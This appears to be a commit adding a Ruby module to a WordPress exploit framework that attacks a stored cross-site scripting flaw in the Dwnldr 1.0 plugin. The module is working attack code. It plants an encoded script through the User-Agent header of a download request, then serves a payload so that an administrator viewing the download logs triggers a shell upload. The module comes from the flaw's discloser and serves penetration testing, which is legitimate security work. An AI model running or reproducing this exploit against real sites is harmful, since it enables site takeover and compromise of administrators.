Add dwnldr XSS module

Author: rastating

modules/exploits/dwnldr_xss_shell_upload.rb

@@ -0,0 +1,55 @@
+class Wpxf::Exploit::DwnldrXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::Xss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Dwnldr 1.0 XSS Shell Upload',
+      author: [
+        'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
+      ],
+      references: [
+        ['URL', 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure']
+      ],
+      date: 'Jul 18 2016'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'attachment_link',
+        desc: 'The address of a valid attachment download link',
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_changelog('dwnldr', 'readme.txt', '1.01')
+  end
+
+  def run
+    return false unless super
+
+    emit_info 'Storing script...'
+    res = execute_get_request(
+      url: datastore['attachment_link'],
+      headers: { 'User-Agent' => "\"><script>#{xss_ascii_encoded_include_script}</script><\"" }
+    )
+
+    if res.nil?
+      emit_error 'No response from the target'
+      return false
+    end
+
+    if res.code != 200
+      emit_error "Server responded with code #{res.code}"
+      return false
+    end
+
+    emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
+    start_http_server
+
+    xss_shell_success
+  end
+end